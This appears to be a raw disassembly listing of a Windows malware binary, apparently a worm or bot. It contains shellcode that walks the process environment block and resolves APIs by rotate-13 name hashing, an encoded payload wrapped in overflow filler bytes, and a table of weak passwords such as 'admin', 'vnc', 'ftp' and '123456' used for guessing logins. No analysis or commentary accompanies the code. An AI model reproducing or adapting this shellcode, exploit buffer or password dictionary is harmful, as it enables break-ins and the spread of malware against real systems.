sub_41FBED	proc near		; CODE XREF: sub_41FB28+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_41FC05:				; CODE XREF: sub_41FBED+1Ej
		cmp	[ecx], ebx
		jz	short loc_41FC0D
		mov	ecx, [ecx]
		jmp	short loc_41FC05
; ---------------------------------------------------------------------------


loc_41FC0D:				; CODE XREF: sub_41FBED+1Aj
		mov	edx, edi


loc_41FC0F:				; CODE XREF: sub_41FBED+2Aj
		cmp	[edx+4], ebx
		jz	short loc_41FC19
		mov	edx, [edx+4]
		jmp	short loc_41FC0F
; ---------------------------------------------------------------------------


loc_41FC19:				; CODE XREF: sub_41FBED+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_41FBED	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC24	proc near		; CODE XREF: sub_41FB28+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_41FC24	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC3A	proc near		; CODE XREF: sub_41FB28+16p
					; sub_41FB28+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_41FC50:				; CODE XREF: sub_41FC3A+33j
		jecxz	short loc_41FC8A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_41FC5D:				; CODE XREF: sub_41FC3A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_41FC69
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_41FC5D
; ---------------------------------------------------------------------------


loc_41FC69:				; CODE XREF: sub_41FC3A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_41FC50
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_41FC8A:				; CODE XREF: sub_41FC3A:loc_41FC50j
					; sub_41FC3A:loc_41FC8Aj
		jmp	short loc_41FC8A
sub_41FC3A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FC90	proc near		; DATA XREF: sub_40C878+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_41FCE2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_41FCAD:				; CODE XREF: sub_41FC90+38j
		jecxz	short loc_41FCDD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_41FCB8:				; CODE XREF: sub_41FC90+32j
		lodsb
		test	al, al
		jz	short loc_41FCC4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_41FCB8
; ---------------------------------------------------------------------------


loc_41FCC4:				; CODE XREF: sub_41FC90+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_41FCAD
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_41FCDD:				; CODE XREF: sub_41FC90:loc_41FCADj
		mov	[esp+arg_0], ebx
		retn
sub_41FC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCE2	proc near		; CODE XREF: sub_41FC90+7p

; FUNCTION CHUNK AT 0041FD1A SIZE 0000000B BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_41FCFB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_41FD06
; ---------------------------------------------------------------------------


loc_41FCFB:				; CODE XREF: sub_41FCE2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_41FD06:				; CODE XREF: sub_41FCE2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_41FD1A
sub_41FCE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FD0D	proc near		; CODE XREF: sub_41FCE2:loc_41FD1Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_41FD0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FCE2


loc_41FD1A:				; CODE XREF: sub_41FCE2+29j
		call	sub_41FD0D


loc_41FD1F:				; DATA XREF: .text:0040CBADo
		add	[ecx], al
		adc	[edi], cl
		and	[edx], cl
; END OF FUNCTION CHUNK	FOR sub_41FCE2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 1001802h, 0
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
off_420F34	dd offset a123		; DATA XREF: .text:0040D208r
					; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset aAbc		; "abc"
		dd offset aTest		; "test"
		dd offset aCam		; "cam"
		dd offset aVnc		; "vnc"
		dd offset aPassword_0	; "password"
		dd offset aFtp		; "ftp"
		dd offset aServer_1	; "server"
		dd offset aAdmin	; "admin"
		dd offset aPass		; "pass"
		dd offset aAbc123	; "abc123"
dword_420F6C	dd 66B5217h, 7584E23h, 3 dup(0)	; DATA XREF: sub_40CC65+30o
off_420F80	dd offset dword_4C5EE0	; DATA XREF: sub_4012BA+113w
					; sub_4012BA:loc_4013D5o ...
dword_420F84	dd 0			; DATA XREF: sub_4012BA+10Bw
					; sub_40151D+10Bw
		dd offset dword_4C5EE0
		dd 101h
dword_420F90	dd 2 dup(0)		; DATA XREF: sub_40DABB+71o
		dd 1000h, 0
dword_420FA0	dd 3 dup(0)		; DATA XREF: sub_40FA2B+53o
		dd 2, 1, 3 dup(0)
dword_420FC0	dd 3 dup(0)		; DATA XREF: sub_40FA2B+5Bo
		dd 2 dup(2), 7 dup(0)
dword_420FF0	dd 84h dup(0)		; DATA XREF: sub_40DABB+9Ao
dword_421200	dd 1			; DATA XREF: sub_40DABB+67o
					; sub_40E043+4w ...
		align 10h
		dd 9875h, 9873h
off_421218	dd offset sub_40E2CA	; DATA XREF: sub_40DD0D:loc_40DD3Dr
		dd offset nullsub_3
		dd offset nullsub_3
		align 10h
dword_421230	dd 19930520h, 3	dup(0)	; DATA XREF: sub_40F211+2o
					; sub_40F21A+2o
		dd offset sub_41437B
		align 10h
off_421250	dd offset sub_40DE75	; DATA XREF: sub_40F82D+1Cr
dword_421254	dd 2			; DATA XREF: sub_4144B2+50r
					; sub_414629+Er ...
off_421258	dd offset aNull_0	; DATA XREF: sub_40FBCF:loc_40FF95r
					; sub_40FBCF+4E4r
					; "(null)"
off_42125C	dd offset aNull		; DATA XREF: sub_40FBCF+2ACr
					; "(null)"
dword_421260	dd 0FFFFFFFFh, 0A80h	; DATA XREF: sub_40D9DD:loc_40DA60o
					; sub_40FA2B:loc_40FAE8o
byte_421268	db 1			; DATA XREF: sub_411824+123r
		db 2, 4, 8
		align 10h
dword_421270	dd 3A4h			; DATA XREF: sub_411824:loc_4118A2r
dword_421274	dd 82798260h		; DATA XREF: sub_411824+15Fr
		dd 21h,	0
dword_421280	dd 0DFA6h		; DATA XREF: sub_411824+103r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_421360	dd 0BB40E64Eh		; DATA XREF: sub_40E1DE+6r
					; sub_40FBCF+9r ...
off_421364	dd offset sub_411F45	; DATA XREF: sub_40E292+5w
					; sub_40FBCF+43Er
off_421368	dd offset sub_411C0B	; DATA XREF: sub_40E292+Aw
					; sub_40FBCF+46Ar
off_42136C	dd offset sub_411C70	; DATA XREF: sub_40E292+14w
					; sub_41095C+495r
off_421370	dd offset sub_411BB3	; DATA XREF: sub_40E292+1Ew
					; sub_40FBCF+459r
off_421374	dd offset sub_411C56	; DATA XREF: sub_40E292+28w
off_421378	dd offset sub_411F45	; DATA XREF: sub_40E292+32w
		dd 10h
dword_421380	dd 1			; DATA XREF: sub_412BBA:loc_412BC5r
dword_421384	dd 16h			; DATA XREF: sub_412BBA:loc_412BE9r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4214E8	dd 1			; DATA XREF: sub_40EB9E+18r
off_4214EC	dd offset word_41BD02	; DATA XREF: sub_40EB9E:loc_40EBE7r
					; sub_40EB9E:loc_40EBF6r ...
		dd offset dword_41BF08+2
dword_4214F4	dd 1			; DATA XREF: sub_40EB9E+36r
					; sub_410914r ...
byte_4214F8	db 2Eh			; DATA XREF: sub_41095C:loc_410CB1r
					; sub_41095C+373r ...
		align 4
		dd 1, 41437Bh, 413EDFh
off_421508	dd offset sub_413EDF	; DATA XREF: sub_413F0C+Cr
		align 10h
off_421510	dd offset sub_416305	; DATA XREF: sub_413F8C+11Dr
					; sub_413F8C+1D8r ...
dword_421514	dd 173Fh		; DATA XREF: sub_4142AA+Dr
dword_421518	dd 1B3Fh		; DATA XREF: sub_4143E1+Dr
		align 10h
dword_421520	dd 2			; DATA XREF: sub_4144B2:loc_4144D0r
					; sub_4144B2+32r
off_421524	dd offset aR6002FloatingP ; DATA XREF: sub_4144B2+DEr
					; sub_4144B2+11Br ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41C4ECh, 9, 41C4C0h, 0Ah,	41C428h, 10h, 41C3FCh
		dd 11h,	41C3CCh, 12h, 41C3A8h, 13h, 41C37Ch, 18h, 41C344h
		dd 19h,	41C31Ch, 1Ah, 41C2E4h, 1Bh, 41C2ACh, 1Ch, 41C284h
		dd 78h,	41C274h, 79h, 41C264h, 7Ah, 41C254h, 0FCh, 41A920h
		dd 0FFh, 41C244h
dword_4215B0	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_414662+Co
					; sub_417813+6o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_421628	dd 3			; DATA XREF: sub_414662+84r
					; sub_41784C+C4r
dword_42162C	dd 7			; DATA XREF: sub_414662+89r
					; sub_41784C+C9r
dword_421630	dd 0Ah			; DATA XREF: sub_414662+6r sub_417813r
dword_421634	dd 8Ch			; DATA XREF: sub_414662+B2r
					; sub_414662+BAw ...
dword_421638	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_41577Eo
dword_421650	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_415794o
dword_421668	dd 2694h		; DATA XREF: sub_4168C2+3r
					; sub_416914+60r
		align 10h
dword_421670	dd 14h			; DATA XREF: sub_416822:loc_41682Ar
off_421674	dd offset aExp		; DATA XREF: sub_416822:loc_41689Cr
					; "exp"
; ---------------------------------------------------------------------------
		sbb	eax, 20000000h
		retn	41h
; ---------------------------------------------------------------------------
		dd 1Ah,	41C224h, 1Bh, 41C228h, 1Fh, 41C800h, 13h, 41C7F8h
		dd 21h,	41C7F0h, 0Eh, 41C7E8h, 0Dh, 41C7E0h, 0Fh, 41C1E8h
		dd 10h,	41C7D8h, 5, 41C7D0h, 1Eh, 41C7CCh, 12h,	41C7C8h
		dd 20h,	41C7C4h, 0Ch, 41C1F0h, 0Bh, 41C1F8h, 15h, 41C7BCh
		dd 1Ch,	41C200h, 19h, 41C7B4h, 11h, 41C7ACh, 18h, 41C7A4h
		dd 16h,	41C79Ch, 17h, 41C794h, 22h, 41C790h, 23h, 41C78Ch
		dd 24h,	41C788h, 25h, 41C780h, 26h, 41C774h
dbl_421758	dq 1.797693134862316e308 ; DATA	XREF: sub_4165AD+BCr
					; sub_4165AD:loc_41669Br ...
		dd 0
		dd 0FFF80000h
dbl_421768	dq 1.797693134862316e308 ; DATA	XREF: sub_4165AD+93r
					; sub_4165AD:loc_416671r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_421780	dt 2.3562723457267347066e313 ; DATA XREF: sub_416B63+Br
					; sub_416B63+1Er
		align 4
tbyte_42178C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_416B63+31r
		align 4
dword_421798	dd 2 dup(0)		; DATA XREF: sub_417BAD+Fo
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4218F8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_417BAD+26o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_421A54	dd offset off_41C8DC	; DATA XREF: .text:off_41C900o
					; .text:0041CBB0o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_421A6C	dd offset off_41C8DC	; DATA XREF: .text:off_41C918o
					; .text:0041C958o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_421A8C	dd offset off_41C8DC	; DATA XREF: .text:off_41C960o
					; .text:0041C9A4o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_421AAC	dd offset off_41C8DC	; DATA XREF: .text:off_41C9ACo
					; .text:0041C9F0o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_421ACC	dd offset off_41C8DC	; DATA XREF: .text:off_41C9F8o
					; .text:0041CA34o
		dd 0
a_?avtype_info@	db '.?AVtype_info@@',0
		dd 7 dup(0)
dword_421B00	dd 40h dup(0)		; DATA XREF: sub_401073+4Co
					; sub_401179+65o
dword_421C00	dd 40h dup(0)		; DATA XREF: sub_4013E5+63o
dword_421D00	dd 42h dup(0)		; DATA XREF: sub_404BAB+6Do
dword_421E08	dd 0			; DATA XREF: sub_4056A2+188o
					; sub_40A83B+3o ...
		dd 0FFh	dup(0)
dword_422208	dd 0			; DATA XREF: sub_40A83B+4Cw
					; sub_40A920+48w ...
dword_42220C	dd 0			; DATA XREF: sub_40752D+233w
					; sub_40A83B+3Ew ...
dword_422210	dd 0			; DATA XREF: sub_40A83B+45w
					; sub_40A920+3Er ...
dword_422214	dd 0			; DATA XREF: sub_4077DC+7Cw
					; sub_40A83B+60w ...
dword_422218	dd 0			; DATA XREF: sub_40A920+7Br
					; sub_40AADD+2Aw
dword_42221C	dd 0			; DATA XREF: sub_40198E+1132w
					; sub_40198E+1364w ...
byte_422220	db 0			; DATA XREF: sub_40A83B:loc_40A894w
					; sub_40A920+73w ...
		align 4
		dd 1B87h dup(0)
		db 2 dup(0)
word_429042	dw 0			; DATA XREF: .text:0041F9B5o
		dd 1FD71h dup(0)
dword_4A8608	dd 100h	dup(0)		; DATA XREF: sub_40A83B+13o
					; sub_40A8A6+6Eo ...
dword_4A8A08	dd 0			; DATA XREF: sub_40AA32+16o
dword_4A8A0C	dd 3112h dup(0)		; DATA XREF: sub_40A9E5+3Do
		db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: .text:off_41B414o
		dd 0DE4h dup(0)
dword_4B85E8	dd 0			; DATA XREF: sub_404901+B4w
					; sub_404BAB:loc_4051C9o
		dd 3Fh dup(0)
dword_4B86E8	dd 20h dup(0)		; DATA XREF: sub_404BAB+4EEo
					; sub_404BAB+62Eo
dword_4B8768	dd 0			; DATA XREF: sub_404BAB+50Dw
					; sub_404BAB+5ACw ...
dword_4B876C	dd 10h dup(0)		; DATA XREF: sub_404BAB+508o
					; sub_404BAB+5A7o ...
dword_4B87AC	dd 25h dup(0)		; DATA XREF: sub_404BAB+51Eo
dword_4B8840	dd 0			; DATA XREF: sub_404BAB+52Cw
		align 10h
dword_4B8850	dd 0			; DATA XREF: sub_40198E+943o
					; sub_40198E+9B4r ...
		dd 5 dup(0)
dword_4B8868	dd 0			; DATA XREF: sub_40198E+9A4r
		dd 2D9h	dup(0)
byte_4B93D0	db 0			; DATA XREF: sub_404901+136o
					; sub_404901+298w ...
		align 4
		dd 0FFh	dup(0)
dword_4B97D0	dd 0			; DATA XREF: sub_404BAB:loc_4050E0r
		align 8
dword_4B97D8	dd 40h dup(0)		; DATA XREF: sub_40198E+297o
dword_4B98D8	dd 0			; DATA XREF: sub_40A610+32r
dword_4B98DC	dd 0			; DATA XREF: sub_404BAB+20w
dword_4B98E0	dd 0FC0h dup(0)		; DATA XREF: sub_401648+17o
					; sub_40198E+1426o ...
dword_4BD7E0	dd 40h dup(0)		; DATA XREF: sub_401648+12o
dword_4BD8E0	dd 0			; DATA XREF: sub_40198E+144Eo
					; sub_404BAB+43w ...
dword_4BD8E4	dd 0			; DATA XREF: sub_404BAB+1BBr
		align 10h
dword_4BD8F0	dd 0			; DATA XREF: sub_40198E+2E06w
					; sub_404BAB+55Fw
		dd 1001h dup(0)
dword_4C18F8	dd 20h dup(0)		; DATA XREF: sub_4051F8+4o
					; sub_40554F+13o
dword_4C1978	dd 0Eh dup(0)		; DATA XREF: sub_4051F8+13o
					; sub_405B42+10o
dword_4C19B0	dd 0			; DATA XREF: sub_406140+28r
					; sub_406425+175w
		align 8
byte_4C19B8	db 0			; DATA XREF: sub_4060F4+21o
					; sub_4060F4+3Fr
		align 4
		dd 0A00h dup(0)
dword_4C41BC	dd 0			; DATA XREF: sub_406079+1r
					; sub_406193+7r ...
byte_4C41C0	db 0			; DATA XREF: sub_4065B2+30o
					; sub_4065B2:loc_406616w ...
		align 4
		dd 0FFh	dup(0)
dword_4C45C0	dd 0			; DATA XREF: sub_406193+43r
					; sub_406425+126w ...
dword_4C45C4	dd 0			; DATA XREF: sub_406079+42r
					; sub_406193+65r ...
dword_4C45C8	dd 0			; DATA XREF: sub_406193+18r
					; sub_406425+114w ...
dword_4C45CC	dd 0			; DATA XREF: sub_406425+CCw
					; sub_406425+12Dr ...
dword_4C45D0	dd 0			; DATA XREF: sub_405FD6+9r
					; sub_406425+DEw ...
dword_4C45D4	dd 0			; DATA XREF: sub_406079+1Fr
					; sub_406079+32r ...
dword_4C45D8	dd 0			; DATA XREF: sub_405FD6r sub_4065B2+4w ...
dword_4C45DC	dd 0			; DATA XREF: sub_405FD6:loc_405FEAr
					; sub_406425+12w ...
dword_4C45E0	dd 0			; DATA XREF: sub_405FD6:loc_405FFDr
					; sub_406425+Cw ...
dword_4C45E4	dd 0			; DATA XREF: sub_40600B+66w
dword_4C45E8	dd 0			; DATA XREF: sub_4060C7+7w
					; sub_4060F4+5r ...
dword_4C45EC	dd 0			; DATA XREF: sub_4060C7w sub_4060F4r ...
dword_4C45F0	dd 0			; DATA XREF: sub_4060C7+25w
					; sub_4060F4+Dr
dword_4C45F4	dd 0			; DATA XREF: sub_40479E+141r
					; sub_4077DC+1B6r ...
dword_4C45F8	dd 0			; DATA XREF: sub_40198E+1A5Br
					; sub_40198E+2A83r ...
dword_4C45FC	dd 0			; DATA XREF: sub_407D3E+987w
					; sub_407D3E+9EFr
dword_4C4600	dd 0			; DATA XREF: sub_407D3E+865w
					; sub_407D3E+8B8r
dword_4C4604	dd 0			; DATA XREF: sub_407D3E+557w
					; sub_407D3E+6DBr
dword_4C4608	dd 0			; DATA XREF: sub_404BAB+542r
					; sub_407D3E+80Aw ...
